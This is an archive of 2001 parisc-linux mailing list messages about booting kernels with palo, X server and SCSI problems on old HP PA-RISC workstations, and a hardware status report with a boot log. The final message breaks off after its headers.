X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13379

Hello ,

yesterday i installed a new kernel for my 720.
And now it works :)
But there are some questions left ...

The "Building the Kernel" webpage at
http://www.parisc-linux.org/kernel/index.html says
after "make palo" you have your new kernel in the file palo/lifimage.
But there is no pointer what to do after this :(
After some reading in the mailinglist archive i installed
palo/lifimage in /boot, edited /etc/palo.conf and run palo.

Then i booted my 720 just to see the message
"Couldn't grok your kernel executable format
ERROR: failed to load kernel" .

Half an hour later i found (with the help of "file")
that palo/lifimage is not the kenel image to boot,
it is vmlinux in the kernel-source dir.

So here comes the question: What is palo/lifimage for, or what
am i supposed to do with it ?
Is there another how-to for making/installing new kernels ?

-- 
Best regards,
 Joerg                          J.Hartmann@reinarts.de




From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "iternet" <rinux@iternet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] web bame
Date: Mon, 17 Dec 2001 10:15:13 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <000b01c186db$569a5800$0a00a8c0@adsl>
References: <20011214164305.0A6DA482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620856 31675 80.91.229.3 (22 Nov 2014 01:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:36 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 02:13:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep02-svc.flexmail.it (fep02.tuttopmi.it [212.131.248.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADEA3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 02:13:56 -0700 (MST)
Original-Received: from adsl ([80.105.134.37]) by fep02-svc.flexmail.it
          (InterMail vM.5.01.03.08 201-253-122-118-108-20010628) with SMTP
          id <20011217091349.UOCE13631.fep02-svc.flexmail.it@adsl>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 17 Dec 2001 10:13:49 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13380

hi
I have a 712/60 with 0.93 debian

when i launch startx message tell me that i haven't video card configured.
Were is the problem??
What I do to start the x system???


tegard






From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what is palo/lifimage for ?
Date: Mon, 17 Dec 2001 10:53:32 +0100
Organization: SAP LinuxLab
Lines: 38
Approved: news@gmane.org
Message-ID: <E16FuSj-0004wa-00@linuxlab.wdf.sap-ag.de>
References: <771295508933.20011217112142@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620856 31687 80.91.229.3 (22 Nov 2014 01:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:36 +0000 (UTC)
To: Joerg Hartmann <J.Hartmann@reinarts.de>,
	PARISC Linux List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 02:53:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F8DF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 02:53:36 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id KAA21036;
  Mon, 17 Dec 2001 10:56:58 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <771295508933.20011217112142@reinarts.de>
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13381

On Monday 17 December 2001 11:21, Joerg Hartmann wrote:
> Hello ,
>
> yesterday i installed a new kernel for my 720.
> And now it works :)
> But there are some questions left ...
>
> The "Building the Kernel" webpage at
> http://www.parisc-linux.org/kernel/index.html says
> after "make palo" you have your new kernel in the file palo/lifimage.
> But there is no pointer what to do after this :(
> After some reading in the mailinglist archive i installed
> palo/lifimage in /boot, edited /etc/palo.conf and run palo.
>
> Then i booted my 720 just to see the message
> "Couldn't grok your kernel executable format
> ERROR: failed to load kernel" .
>
> Half an hour later i found (with the help of "file")
> that palo/lifimage is not the kenel image to boot,
> it is vmlinux in the kernel-source dir.
>
> So here comes the question: What is palo/lifimage for, or what
> am i supposed to do with it ?
> Is there another how-to for making/installing new kernels ?

Hi Joerg,

palo/lifimage is the image for netbooting a kernel via tftp/bootp (it contains
parts of the palo bootloader binary).
linux/vmlinux is the kernel image for directly booting with palo from disk (palo
is loaded from your f0 partition and then looks for the kernel image in your
data (/boot) partition).

Greetings,
Helge



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] what is palo/lifimage for ?
Date: Mon, 17 Dec 2001 12:54:27 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <3C1DDCF3.3020107@esiee.fr>
References: <771295508933.20011217112142@reinarts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620857 31693 80.91.229.3 (22 Nov 2014 01:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:37 +0000 (UTC)
Cc: PARISC Linux List <parisc-linux@lists.parisc-linux.org>
To: Joerg Hartmann <J.Hartmann@reinarts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 04:54:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE662482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 04:54:34 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 328E949BEB; Mon, 17 Dec 2001 12:54:28 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011124
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13382

Hi Joerg and all,

For you who want to see Linux on your favorite box, you can use the 
official HOWTO,
http://linuxdoc.org/HOWTO/PA-RISC-Linux-Boot-HOWTO/index.html

But, you also have some info here: http://mkhppa1.esiee.fr/palo.html

And, the latest version of the HOWTO is here:
http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html

Please do not hesitate to tell me if there is some section you like 
tosee in this paper. It could help some futur newbies :-)

Thomas.
ESIEE Team





From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status report - B132L and 725/100
Date: Mon, 17 Dec 2001 12:47:23 +0100 (CET)
Lines: 169
Approved: news@gmane.org
Message-ID: <1008589643.3c1ddb4b75583@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620857 31702 80.91.229.3 (22 Nov 2014 01:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 04:56:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A4E5482A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 04:56:53 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP id D34FF8B06
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 12:56:39 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBHBlN322188
	for parisc-linux@parisc-linux.org; Mon, 17 Dec 2001 12:47:23 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13383

Hi folks,

This is stock 0.9.3.

Over the weekend I was using the B132L with an original HP keyboard.
No sign of the LASI PS/2 keyboard timeouts that were bugging me on
thursday night. Whether that's because the HP keyboard differs from
the generic PS/2 keyboard I was using before, or just because I wasn't
hitting the cdrom hard for data at the same time I don't know. I'll
report back if I see the problem again.

Fired up the 725/100 I was talking about last week. Works like a charm.
Initially I used the builtin framebuffer (HPA208LC1280 - 1280-1024-8).
Then I stuck in a Coral GSC (HPA4071B_LZ) in GSC slot 2.

Both work fine, but the same weird thing with the frame buffer ordering
occurred with the 725/100 as it did with the B132L last week. With the
console set in the PDC to the built-in fb, the kernel starts to boot
on that device, then finds the Coral first and continues to boot
on that, calling it fb0. Setting the console in PDC to the Coral makes
everything work properly - the system boots all the way on the Coral.

I had to pull the Bluefish F/W-Diff card (or at least disconnect the
disk) but it may have been termination problems causing the timeouts/
resets. Something else to test :-)

Here's the dmesg from the 725/100. The unknown scancode, 7f, is
less-than/greater-than on a Norwegian PS/2 keyboard. I imagine that
can be fixed :-)

-Andy

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov 30 
19:36:30 MST 2001
FP[0] enabled: Rev 1 Model 13
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model	000060d0 00000481 00000000 00000000 77ec54a0 00000000 00000004 00000072 
00000072
vers	0000000b
CPUID	vers 0 rev 0
model	9000/725
Total Memory: 320 Mb
pagetable_init
On node 0 totalpages: 81920
zone(0): 81920 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda2 HOME=/ console=tty0 sti=0 sti_font=VGA8x16 
TERM=linux
Console: colour dummy device 160x64
Calibrating delay loop... 99.73 BogoMIPS
Memory: 319540k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Electra GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x14, 0x0, 0x85
3. Electra Core BA (11) at 0xf0100000 [2], versions 0x2a, 0x0, 0x81
4. Electra Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x2a, 0x0, 0x82
5. Electra Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x2a, 0x0, 0x8a
6. Electra Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x2a, 0x0, 0x8c
7. Electra Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x2a, 0x0, 0x74
8. Electra Audio (10) at 0xf0104000 [2/0/8], versions 0x2a, 0x0, 0x7b
9. Electra Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x2a, 0x0, 0x83
10. Electra Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x2a, 0x0, 0x84
11. Electra Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x2a, 0x0, 0x84
12. Electra Wax EISA BA (11) at 0xfc000000 [4], versions 0x2a, 0x0, 0x90
13. Electra Wax BA (11) at 0xf0200000 [5], versions 0x14, 0x0, 0x8e
14. Electra Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x14, 0x0, 0x73
15. Electra Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x14, 0x0, 0x8c
16. Electra 100 (0) at 0xfffbe000 [8], versions 0x60d, 0x0, 0x4
17. Electra 100 (1) at 0xfffbf000 [9], versions 0x4d, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
LED display at f00e0000 registered
Wax at 0xf0200000 found.
Wax: HIL Keyboard-NMI registered.
Wax EISA Adapter found at 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
STI byte mode ROM at f4000000, hpa=f4000000
STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071B_LZ
STI word mode ROM at f0024000, hpa=f8000000
STI word mode ROM, id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1280
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio: 0xf4100000
fb1: stifb 1280x1024-8 frame buffer device, id: 2b4ded6d, mmio: 0xf8100000
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI 
enabled
ttyS00 at iomem 0xf0105800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0202800 (irq = 121) is a 16550A
PS/2 keyboard port at 0xf0108000 (irq 69) found, device attached.
PS/2 psaux port at 0xf0108100 (irq 69) found, device attached.
Found HIL at 0xf0201000, IRQ 126
HIL: no keyboard present.
Warning : device (10, 0x14, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 0A 0C 6B IRQ 87.
82596.c $Revision: 1.26 $
SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (3:0) Synchronous at offset 8, period 200ns
  Vendor: HP        Model: HP35480A          Rev: 1109
  Type:   Sequential-Access                  ANSI SCSI revision: 02
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST31055N          Rev: 0532
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 2069860 512-byte hdwr sectors (1060 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Lasi Harmony Audio rev. 18 at 0xf0104000, using IRQ 82
sticonsole_init: searching for STI ROMs
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 2048 buckets, 16Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
Adding Swap: 195384k swap-space (priority -1)
eth0: link ok.
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored
keyboard: unrecognized scancode (7f) - ignored



------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Mon, 17 Dec 2001 14:15:58 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <1008594958.3c1df00ed9750@nyepost.start.no>
References: <1008589643.3c1ddb4b75583@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620857 31714 80.91.229.3 (22 Nov 2014 01:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 06:25:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0518F482A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 06:25:17 -0700 (MST)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP id 155558A1A
	for <parisc-linux@parisc-linux.org>; Mon, 17 Dec 2001 14:25:16 +0100 (CET)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id fBHDFwt23336
	for parisc-linux@parisc-linux.org; Mon, 17 Dec 2001 14:15:58 +0100
In-Reply-To: <1008589643.3c1ddb4b75583@nyepost.start.no>
User-Agent: IMP/PHP IMAP webmail program 2.2.6
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13384

Quoting Andy Walker <squawker@start.no>:

> I had to pull the Bluefish F/W-Diff card (or at least disconnect the
> disk) but it may have been termination problems causing the timeouts/
> resets. Something else to test :-)

Okay, checked termination. Tried a different disk. Booted HP-UX on
that disk. No luck with Linux.

Relevant part of the dmesg is:

...
18. Bluefish Add-on FW-SCSI (4) at 0xfff8c000 [11], versions 0x13, 0x0, 0x89
...
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 34
ncr53c8xx: 53c720 detected
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3b-20010512

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Maneesh Singhal <maneesh@india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation..... new problems..
Date: Mon, 17 Dec 2001 19:57:05 +0530 (IST)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0112171953100.17005-100000@hpuxsrv.india.hp.com>
References: <3C1C93FB.8AE6C6E3@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620858 31722 80.91.229.3 (22 Nov 2014 01:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 17 07:31:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89FFC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 17 Dec 2001 07:31:32 -0700 (MST)
Original-Received: from hpuxsrv.india.hp.com (hpuxsrv.india.hp.com [15.10.45.132])
	by atlrel8.hp.com (Postfix) with ESMTP
	id C40061F77A; Mon, 17 Dec 2001 09:31:22 -0500 (EST)
Original-Received: from localhost (maneesh@localhost) by hpuxsrv.india.hp.com with ESMTP (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id TAA17391; Mon, 17 Dec 2001 19:57:05 +0530 (IST)
In-Reply-To: <3C1C93FB.8AE6C6E3@freebel.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13385

On Sun, 16 Dec 2001, Joel Soete wrote:

> Hello Maneesh,
> 
> >        selection .. Bus reset detected ..." etc. etc.
> 
> This sound like a problem I met a time ago: the scsi chain was opened
> (ie during test I forgot to reconnect the scsi terminator to my external
> drive).
> 
> If a scsi terminator is well connected may be could it be defective (or
> a one not corresponding to your scsi interface logicaly Single-Ended if
> your CD is connected to the narrow single-ended conector)?

Thanx Joel,

	Exactly this was the problem, my scsi cable was loose, and also
	didn't have the terminator.. Anyway, now I installed the system.

	One new question : I am unable to start my X , whenever I do 
	startx it says 

	"Fatal Server Error :
	no screen found "

	Can anybody tell me why it is happening so ??????

	Also my machine is not able to connect to any other machine...
	though I configured the network !!!


	Thanx again for all the helps !!


> 
> Good luck,
> 	Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:20:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Status report - B132L and 725/100
Date: Mon, 17 Dec 2001 14:35:13 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20011217143513.W10085@parcelfarce.linux.theplanet.co.uk>
References: <1008589643.3c1ddb4b75583@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620858 31731 80.91.229.3 (22 Nov 2014 01:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Andy Walker <squawker@start.no>
